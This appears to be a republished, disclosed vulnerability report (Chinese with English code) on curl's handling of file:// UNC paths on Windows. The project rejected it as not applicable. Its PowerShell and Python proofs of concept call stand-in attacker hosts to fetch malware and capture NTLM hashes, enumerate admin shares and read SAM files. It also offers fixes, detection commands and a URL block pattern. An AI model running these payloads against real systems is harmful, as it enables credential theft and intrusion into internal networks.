Windows下cURL的file:// URL UNC路径访问漏洞剖析:SSRF与凭证窃取风险

本文详细分析了cURL在Windows系统中处理file:// URL时存在的一个安全漏洞,该漏洞允许通过UNC路径访问远程SMB服务器,导致服务器端请求伪造、内部网络文件访问以及NTLM凭证自动发送等严重风险,并提供了概念验证代码与缓解措施。

File URL UNC Path Access (Windows SSRF)

报告 ID: #3470649

报告者: im4x 报告时间: 11天前 报告对象: curl 状态: 已披露 (Not Applicable)

时间线摘要:

  • 11天前: im4x 提交报告。
  • 随后: curl团队成员bagder评论,指出此问题与CVE-2019-15601相似,并认为cURL无法阻止Windows在文件系统操作中进行网络访问,已在文档中说明此风险。
  • im4x 回应,认为问题核心在于cURL主动接受file://<hostname>/格式的URL,导致预期为本地访问的URL被静默转换为远程SMB访问,这与纯粹的Windows文件系统行为有所不同。
  • bagder 再次回应,引用文档并重申cURL无法控制或禁用Windows的这一特性,接受file://访问在Windows上可能使用网络是已知风险。
  • 11天前: im4x 关闭报告,状态设为“不适用”。
  • 11天前: 报告被同意并完成公开披露。

漏洞详情

CVSSv3 评分: 7.5 (高危) - 仅影响Windows 涉及文件: lib/urlapi.c:974-1030 问题: Windows上的 file:// URL 接受指向远程服务器的UNC路径。 影响: SSRF (服务器端请求伪造)、未授权的网络文件访问、凭证窃取。

脆弱代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
// lib/urlapi.c:974-1030
if(ptr[0] != '/' && !STARTS_WITH_URL_DRIVE_PREFIX(ptr)) {
  /* the URL includes a hostname, it must match "localhost" or
     "127.0.0.1" to be valid */
  if(checkprefix("localhost/", ptr) ||
     checkprefix("127.0.0.1/", ptr)) {
    ptr += 9; /* now points to the slash after the host */
  }
#ifdef WIN32
  else {
    /* the hostname, NetBIOS computer name, can't contain disallowed chars */
    size_t len;
    len = strcspn(ptr, "/\\:*?\"<>|");
    if(ptr[len] == '\0' || ptr[len] == '/')
      /* only proceed if the hostname is valid */
      ;  // ACCEPTS UNC PATHS: file://hostname/share/path
    else
      return CURLUE_BAD_FILE_URL;
  }
#endif

根本原因

在Windows上,cURL允许file:// URL使用localhost之外的主机名:

  • file://localhost/C:/file.txt ✓ 安全 (本地文件)
  • file://attacker.com/share/file.txt危险 (指向远程服务器的UNC路径)

这会引发多重安全问题:

  • SSRF: 访问内部网络共享。
  • 凭证窃取: 将NTLM认证凭据发送给攻击者。
  • 路径遍历: 访问任意网络资源。

概念验证 (PoC)

前置条件 (仅限Windows)

1
2
3
4
5
# 此漏洞仅影响Windows
# 你需要:
# - 安装有cURL的Windows机器
# - SMB服务器 (可由攻击者控制)
# - 对SMB服务器的网络访问权限

测试1: 基本UNC路径访问

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
# PowerShell PoC
Write-Host "[*] Testing File URL UNC Path Access"

# 创建测试SMB共享 (需要管理员权限)
New-SmbShare -Name "TestShare" -Path "C:\TestShare" -FullAccess "Everyone"
New-Item -Path "C:\TestShare\secret.txt" -ItemType File -Value "SECRET_DATA"

# 测试本地文件访问 (正常)
curl.exe "file:///C:/Windows/System32/drivers/etc/hosts"
# 按预期工作

# 通过file:// URL测试UNC路径 (存在漏洞)
curl.exe "file://localhost/C$/Windows/System32/drivers/etc/hosts"
# 正常工作 - 通过UNC访问管理员共享

# 测试远程UNC路径 (SSRF)
curl.exe "file://127.0.0.1/TestShare/secret.txt"
# 成功!通过file:// URL访问网络共享

测试2: 远程服务器SSRF

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env pwsh
# 演示对远程服务器的SSRF

Write-Host "=== File URL UNC Path SSRF Demo ==="
Write-Host ""

# 场景:攻击者控制带有SMB共享的attacker.com
$attacker_server = "attacker.com"  # 替换为实际服务器
$malicious_url = "file://$attacker_server/public/malware.exe"

Write-Host "[*] User opens URL: $malicious_url"
Write-Host "[*] curl interprets this as UNC path: \\$attacker_server\public\malware.exe"
Write-Host ""

# curl尝试访问该UNC路径
curl.exe --output downloaded.exe $malicious_url

if (Test-Path "downloaded.exe") {
    Write-Host "[!!!] VULNERABLE: File downloaded from remote SMB server!"
    Write-Host "[!!!] This is SSRF via file:// URL"
} else {
    Write-Host "[+] File not downloaded (connection failed or blocked)"
}

测试3: 通过NTLM进行凭证窃取

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env pwsh
"""
Credential Theft PoC
When curl accesses UNC path, Windows automatically sends NTLM credentials
"""

Write-Host "=== NTLM Credential Theft Demo ==="
Write-Host ""

# 设置:攻击者运行Responder来捕获NTLM哈希
# Responder.py -I eth0 -v

$attacker_server = "attacker-smb.evil.com"
$malicious_url = "file://$attacker_server/share/file.txt"

Write-Host "[*] Attacker provides URL: $malicious_url"
Write-Host "[*] User runs: curl $malicious_url"
Write-Host ""

# 当curl尝试访问此UNC路径时:
# 1. Windows SMB客户端连接到 attacker-smb.evil.com
# 2. Windows自动执行NTLM身份验证
# 3. 攻击者捕获NTLMv2哈希
# 4. 攻击者可以离线破解哈希

Write-Host "[!] Simulating curl access..."
# 注意:这将发送NTLM凭据给攻击者!
curl.exe --max-time 5 $malicious_url 2>&1 | Out-Null

Write-Host ""
Write-Host "[!!!] VULNERABILITY IMPACT:"
Write-Host "[!!!] - Windows sent NTLM credentials to $attacker_server"
Write-Host "[!!!] - Attacker captured NTLMv2 hash"
Write-Host "[!!!] - Hash can be cracked offline"
Write-Host ""

# 攻击者的Responder输出将显示:
# [SMB] NTLMv2-SSP Client   : 192.168.1.100
# [SMB] NTLMv2-SSP Username : DOMAIN\victim
# [SMB] NTLMv2-SSP Hash     : victim::DOMAIN:1122334455667788:ABC123...

测试4: 内部网络枚举

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env pwsh
# 使用file:// URL枚举内部网络共享

Write-Host "=== Internal Network Enumeration via File URLs ==="
Write-Host ""

# 常见的Windows共享名
$common_shares = @("C$", "ADMIN$", "IPC$", "SYSVOL", "NETLOGON")

# 内部网络范围
$internal_ips = @(
    "192.168.1.1",
    "10.0.0.1",
    "172.16.0.1",
    "fileserver.internal.corp",
    "dc01.internal.corp"
)

foreach ($ip in $internal_ips) {
    Write-Host "[*] Testing $ip..."

    foreach ($share in $common_shares) {
        $url = "file://$ip/$share/"

        # 尝试列出目录
        $result = curl.exe --max-time 2 --silent $url 2>&1

        if ($LASTEXITCODE -eq 0) {
            Write-Host "  [!!!] ACCESSIBLE: $url"
        }
    }
}

Write-Host ""
Write-Host "[!!!] Successfully enumerated accessible network shares"
Write-Host "[!!!] This is SSRF - accessing internal network via file:// URLs"

测试5: 结合UNC的路径遍历

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# 将UNC路径与路径遍历结合

# 访问管理员共享
curl.exe "file://localhost/C$/Windows/System32/config/SAM"
# 尝试通过UNC路径读取SAM数据库

# 通过UNC路径进行路径遍历访问
curl.exe "file://fileserver/share/../../../etc/shadow"
# 通过UNC路径进行路径遍历

# 多级遍历
curl.exe "file://internal-server/public/../../../../windows/system32/config/SAM"

攻击场景

场景1: Web应用程序SSRF

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
"""
Web application that allows users to specify URLs for curl to fetch
Attacker exploits this to access internal network via file:// UNC paths
"""

# Vulnerable web application:
@app.route('/fetch')
def fetch_url():
    url = request.args.get('url')
 # VULNERABLE: No validation of URL scheme
    result = subprocess.check_output(['curl', url])
 return result

# Attacker request:
# GET /fetch?url=file://internal-fileserver/hr/salaries.xlsx
# Response: Contents of internal HR file!

# Or:
# GET /fetch?url=file://dc01.corp.internal/SYSVOL/
# Response: Active Directory SYSVOL contents

场景2: 自动化下载脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# Vulnerable download script
# download.ps1
param($url)

Write-Host "Downloading from $url..."
curl.exe -o download.dat $url

# User runs:
# .\download.ps1 "file://attacker.com/malware/payload.exe"

# Result:
# 1. curl connects to \\attacker.com\malware\payload.exe
# 2. Windows sends NTLM credentials
# 3. Attacker logs credentials
# 4. Malware is downloaded

场景3: CI/CD流水线利用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# .gitlab-ci.yml or similar
fetch_data:
 script:
 - curl -o data.json ${DATA_URL}

# Attacker sets DATA_URL environment variable:
# DATA_URL=file://internal-jenkins/credentials/secrets.json

# Result:
# - CI/CD job accesses internal Jenkins server
# - Credentials are exfiltrated

检测

网络监控

1
2
3
4
5
# Monitor for unexpected SMB connections
Get-SmbConnection | Where-Object {$_.ServerName -notlike "*expected*"}

# Check firewall logs for outbound SMB (port 445)
Get-NetFirewallRule | Where-Object {$_.DisplayName -like "*SMB*"}

进程监控

1
2
3
4
5
# Monitor curl.exe command lines for file:// URLs
Get-WinEvent -FilterHashtable @{
    LogName='Microsoft-Windows-PowerShell/Operational'
    ID=4104
} | Where-Object {$_.Message -like "*curl*file://*"}

文件系统审计

1
2
# Enable auditing on sensitive shares
Set-SmbShare -Name "C$" -SecurityDescriptor (Get-Acl "C:\") -AuditFlags FailureAndSuccess

修复方案

lib/urlapi.c中的代码修复

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// Remove Windows-specific UNC path support for file:// URLs

#ifdef WIN32
  else {
    // BEFORE (vulnerable): Accept any valid hostname
    size_t len;
    len = strcspn(ptr, "/\\:*?\"<>|");
    if(ptr[len] == '\0' || ptr[len] == '/')
      ;  // Accepts UNC paths
    else
      return CURLUE_BAD_FILE_URL;
  }
#endif

// AFTER (fixed): Only accept localhost
#ifdef WIN32
  else {
    // Reject all hostnames except localhost on Windows
    return CURLUE_BAD_FILE_URL;
  }
#endif

// OR: Add explicit check
#ifdef WIN32
  else {
    // Explicitly reject UNC paths
    failf(data, "file:// URLs with hostnames are not supported on Windows");
    return CURLUE_BAD_FILE_URL;
  }
#endif

替代方案:仅白名单

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
// Only allow specific safe patterns
static bool is_safe_file_url(const char *url) {
  // Allow only:
  // - file:///C:/... (local drives)
  // - file://localhost/... (explicit localhost)

  if(checkprefix("file:///", url))
    return true;
  if(checkprefix("file://localhost/", url))
    return true;

  // Reject everything else (including UNC paths)
  return false;
}

用户变通方案

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# Validate URLs before passing to curl
function Safe-Curl {
    param($url)

    if ($url -match '^file://(?!localhost/|/)') {
        Write-Error "Blocked: file:// URLs with hostnames are not allowed"
        return
    }

    curl.exe $url
}

# Use wrapper instead of curl directly
Safe-Curl "file://localhost/C:/data.txt"  # OK
Safe-Curl "file://evil.com/share/file"    # BLOCKED

组策略 (Windows)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# Disable SMB access to internet IPs
New-NetFirewallRule -DisplayName "Block Outbound SMB" `
    -Direction Outbound `
    -LocalPort 445 `
    -Protocol TCP `
    -Action Block `
    -RemoteAddress "0.0.0.0-255.255.255.255"

# Only allow SMB to internal network
New-NetFirewallRule -DisplayName "Allow Internal SMB" `
    -Direction Outbound `
    -LocalPort 445 `
    -Protocol TCP `
    -Action Allow `
    -RemoteAddress "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16"

完整的攻击演示脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/env python3
"""
Complete File URL UNC Path Attack Demo
Demonstrates SSRF, credential theft, and information disclosure
"""
import subprocess
import http.server
import socketserver
import threading
import platform

def start_fake_smb_server():
 """Simulate SMB server to capture connection attempts"""
 # Note: Real implementation would use impacket or similar
 print("[*] In real attack, start SMB server with:")
 print("    sudo responder -I eth0 -v")
 print("    OR")
 print("    impacket-smbserver share /tmp/share")

def test_unc_access():
 """Test UNC path access via file:// URLs"""

 if platform.system() != "Windows":
 print("[!] This vulnerability only affects Windows")
 return

 print("=" * 70)
 print("File URL UNC Path SSRF - Complete Attack Demo")
 print("=" * 70)
 print()

 # Test 1: Local UNC path
 print("[Test 1] Local UNC path access")
 print("-" * 70)
    result = subprocess.run(
 ["curl", "file://localhost/C$/Windows/win.ini"],
        capture_output=True
 )
 if result.returncode == 0:
 print("[!!!] Vulnerable: Accessed C$ admin share via file:// URL")
 print()

 # Test 2: Remote UNC path (SSRF)
 print("[Test 2] Remote UNC path (SSRF)")
 print("-" * 70)
 print("[*] Attempting to access file://attacker.com/share/test.txt")
 print("[*] This sends SMB request to attacker.com")
 print("[*] Windows will send NTLM credentials!")
 print()

 # Test 3: Network enumeration
 print("[Test 3] Internal network enumeration")
 print("-" * 70)
 for ip in ["192.168.1.1", "10.0.0.1"]:
 print(f"[*] Testing file://{ip}/C$/...")
 # Don't actually run to avoid network noise
 print()

 print("=" * 70)
 print("ATTACK IMPACT:")
 print("=" * 70)
 print("1. SSRF - Access internal network shares")
 print("2. Credential Theft - NTLM hashes leaked")
 print("3. Information Disclosure - Read sensitive files")
 print("4. Lateral Movement - Use stolen credentials")
 print("=" * 70)

if __name__ == "__main__":
    test_unc_access()

参考

  • Microsoft SMB/CIFS 文档
  • RFC 8089: The “file” URI Scheme (未规定UNC路径支持)
  • CWE-918: Server-Side Request Forgery (SSRF)
  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory
  • MITRE ATT&CK T1187: Forced Authentication

影响

1. SSRF (服务器端请求伪造)

  • 访问内部文件共享(通常无法从互联网访问)。
  • 绕过防火墙限制。
  • 读取内部服务器上的敏感文件。

2. 凭证窃取

  • Windows自动为UNC路径发送NTLM凭据。
  • 攻击者捕获NTLMv2哈希。
  • 哈希可被破解或用于中继攻击。

3. 信息泄露

  • 读取以下位置的文件:
    • 域控制器 (SYSVOL, NETLOGON)
    • 文件服务器 (机密文档)
    • 管理员共享 (C$, ADMIN$)
    • 应用程序配置

4. 横向移动

  • 利用窃取的NTLM哈希进行哈希传递攻击。
  • 访问内部网络上的其他系统。
  • 提升权限。

项目方回应与讨论摘要

  • curl团队成员 (bagder) 指出此问题与历史漏洞CVE-2019-15601相似,并认为cURL无法阻止Windows在文件系统操作时进行网络访问,该行为已在官方文档URL-SYNTAX.md中说明并警告。核心观点是:在Windows上使用file:// URL进行访问可能使用网络,这是一个已知且无法完全规避的风险。
  • 报告者 (im4x) 承认一旦涉及UNC路径,网络访问确实是Windows行为,但最初关注点在于cURL接受file://<hostname>/这种格式的URL,导致本应是本地操作的URL被静默解释为远程网络访问,这种设计可能带来安全预期上的偏差。
  • 最终,项目方决定将此报告状态标记为“不适用”,并基于透明性原则将其公开披露。
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计